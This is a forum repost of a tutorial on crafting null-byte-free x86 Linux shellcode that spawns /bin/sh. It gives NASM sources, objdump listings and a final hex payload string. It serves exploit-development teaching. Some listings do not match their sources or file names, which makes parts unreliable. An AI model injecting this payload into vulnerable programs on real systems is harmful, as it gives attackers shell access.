Jump to content
Nytro

Shellcoding with Direct Stack Usage

Recommended Posts

Posted

Shellcoding with Direct Stack Usage - h0yt3r

###SHELLCODING WITH DIRECT STACK USAGE###

~by h0yt3r

Hai

This is an example of how to produce nullbyteless shellcode out of a simple assembler code with two methods of stackusage.

I will start with an example which shows how to execute a bourne shell in assembler (nasm):

------------bla.asm

section .data
binsh db '/bin/sh',0 ;save '/bin/sh' string at data section

section .text
global _start

_start:
mov eax,11 ;syscall execve
mov ebx,binsh ;move the '/bin/sh' string adress into ebx
push 0 ;as the next argument (*const argv[]) is an array
push binsh ;we will need to save it on the stack and null-terminate it
mov ecx,esp ;then put the first adress of the stack into ecx
mov edx,0 ;no *const envp[]
int 0x80 ;kernel call
;eof

------------

Okay we will assemble and link this code:

h0yt3r@Cain:~/Desktop$ nasm -f elf bla.asm
h0yt3r@Cain:~/Desktop$ ld -o bla bla.o
h0yt3r@Cain:~/Desktop$ ./bla
sh-3.2$ exit
exit

Works fine. Lets have a look at the objdump.

h0yt3r@Cain:~/Desktop$ objdump -D bla

bla: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080: b8 0b 00 00 00 mov $0xb,%eax
8048085: bb a0 90 04 08 mov $0x80490a0,%ebx
804808a: 68 00 00 00 00 push $0x0
804808f: 68 a0 90 04 08 push $0x80490a0
8048094: 89 e1 mov %esp,%ecx
8048096: ba 00 00 00 00 mov $0x0,%edx
804809b: cd 80 int $0x80

Disassembly of section .data:

080490a0 <binsh>:
80490a0: 2f das
80490a1: 62 69 6e bound %ebp,0x6e(%ecx)
80490a4: 2f das
80490a5: 73 68 jae 804910f <__bss_start+0x67>

...

Disassembly of section .comment:

00000000 <.comment>:
0: 00 54 68 65 add %dl,0x65(%eax,%ebp,2)
4: 20 4e 65 and %cl,0x65(%esi)
7: 74 77 je 80 <_start-0x8048000>
9: 69 64 65 20 41 73 73 imul $0x65737341,0x20(%ebp,%eiz,2),%esp
10: 65
11: 6d insl (%dx),%es:(%edi)
12: 62 6c 65 72 bound %ebp,0x72(%ebp,%eiz,2)
16: 20 32 and %dh,(%edx)
18: 2e 30 35 2e 30 31 00 xor %dh,%cs:0x31302e

h0yt3r@Cain:~/Desktop$

As we can see, this code needs more than one section for execution. Its is also full of 0-bytes which is kinda evil for later shellcode

since 0-bytes are treated as string terminator when it is passed as a parameter for example.

A _useful_ asm code _without_ different sections and _without_ 0-bytes for later shellcode using the call technique:

------------bla2.asm

section .text
global _start

_start:
jmp short two ;we short jump to two for saving '/bin/sh' on the stack (look at two now)
one:
pop ebx ;as the return adress is saved on top of the stack and points to '/bin/sh',
;it is just popped from the stack and saved into ebx (char *path)
;ok the adress of '/bin/shX' is saved in ebx now. the X will represet the null terminating byte
xor eax,eax ;0-out eax
mov byte [ebx + 7],al ;this instruction replaces the X with the value of al
;(count seven bytes up the data to which ebx is pointing to and put a null there) => nullterminate /bin/sh
;this will also only work if the shellcode is saved on the stack (eg when its injected into a
;vulnerable programme since we only have write access there)
push eax ;=> push 0 for null termination of '/bin/sh'
push eax ;restore ebx at the stack so that the stackpointer points to nullterminated '/bin/sh'
mov ecx,esp ;stackpointer into ecx (*const argv[])
mov edx,esp ;same to edx (*const envp[])
;we could also say 'mov edx,0' but this would just produce another 0-byte
mov al,11 ;syscall execve
int 0x80 ;make the kernelcall

two:
call one ;on execution we directly jump here and make a call _upwards_ again.
;_upwards_ is important. a call allows much longer jump distances, so if we make a call downwards
;with a value of 10 for example, the rest of the value would be filled with 0-bytes.
;so when we call upwards, we are passing a negative number as value
;(leading to 0xff...) which will not any contain 0-bytes.
db '/bin/shX' ;when making a call, the adress of the next instruction is pushed onto the stack and will be
;treated as return adress. This tells the processor where execution flow has to be continued when function
;'one' is finished. in this case, the return adress will just point to the '/bin/sh' string.
;eof

------------

Lets look at the objdump again :D

h0yt3r@Cain:~/Desktop$ nasm -f elf bla2.asm
h0yt3r@Cain:~/Desktop$ ld -o bla2 bla2.o
h0yt3r@Cain:~/Desktop$ objdump -d bla2

h0yt3r@Cain:~/Desktop$ objdump -d foo

foo: file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060: eb 10 jmp 8048072 <two>

08048062 <one>:
8048062: 5b pop %ebx
8048063: 31 c0 xor %eax,%eax
8048065: 88 43 07 mov %al,0x7(%ebx)
8048068: 50 push %eax
8048069: 50 push %eax
804806a: 89 e1 mov %esp,%ecx
804806c: 89 e2 mov %esp,%edx
804806e: b0 0b mov $0xb,%al
8048070: cd 80 int $0x80

08048072 <two>:
8048072: e8 eb ff ff ff call 8048062 <one>
8048077: 2f das
8048078: 62 69 6e bound %ebp,0x6e(%ecx)
804807b: 2f das
804807c: 73 68 jae 80480e6 <two+0x74>
804807e: 58 pop %eax

h0yt3r@Cain:~/Desktop$

We can see that our code doesn't produce any 0-bytes anymore, so now we could perfectly use it as shellcode.

Okay, now an imo more elegant way of code with direct stackusage without calls and jumps:

------------bla3.asm

section .text
global _start

_start:
xor eax,eax ;0-out eax
push eax ;put 0 onto stack for null-terminating

push 0x68732F2F ;put '/bin/sh' onto stack
push 0x6E69622F ;actually it is 'hs//nib/' since the string has to be pushed in reversed order.
;we are also using two '/' cos our data needs to stay directly at the 8 byte bound, for not producing 0-bytes
mov ebx,esp ;stackpointer (/bin/sh) to ebx (char *path)
push eax ; => push 0
push eax ;put ebx onto stack
mov ecx,esp ;since ecx needs null-terminated *const argv[] which is same as ebx
mov edx,esp ;*const envp[] whatever
mov al,11 ;syscall execve
int 0x80 ;fire
;eof

------------

Assembling, linking:

h0yt3r@Cain:~/Desktop$ nasm -f elf bla3.asm
h0yt3r@Cain:~/Desktop$ ld -o bla2 bla3.o
h0yt3r@Cain:~/Desktop$ ./bla3
sh-3.2$ exit
exit
h0yt3r@Cain:~/Desktop$ objdump -d bla3

bla3: file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: b0 0b mov $0xb,%al
8048065: 68 2f 2f 73 68 push $0x68732f2f
804806a: 68 2f 62 69 6e push $0x6e69622f
804806f: 89 e3 mov %esp,%ebx
8048071: 52 push %edx
8048072: 53 push %ebx
8048073: 89 e1 mov %esp,%ecx
8048075: 89 e2 mov %esp,%edx
8048077: cd 80 int $0x80

h0yt3r@Cain:~/Desktop$

This looks even better, doesn't it? Now use it!

I'll take katharsis' extractor; it's nothing special but kinda useful ;)

h0yt3r@Cain:~/Desktop$ perl shellgen.pl bla3

[*] shellcode generator
[*] written by katharsis
[*] www.katharsis.x2.to
[*] nebelfrost23@web.de

[^] generating opcode...
[^] generating shellcode...
[^] formating shellcode
[^] done, here you are:

\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x89\xe2\xcd\x80
h0yt3r@Cain:~/Desktop$

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...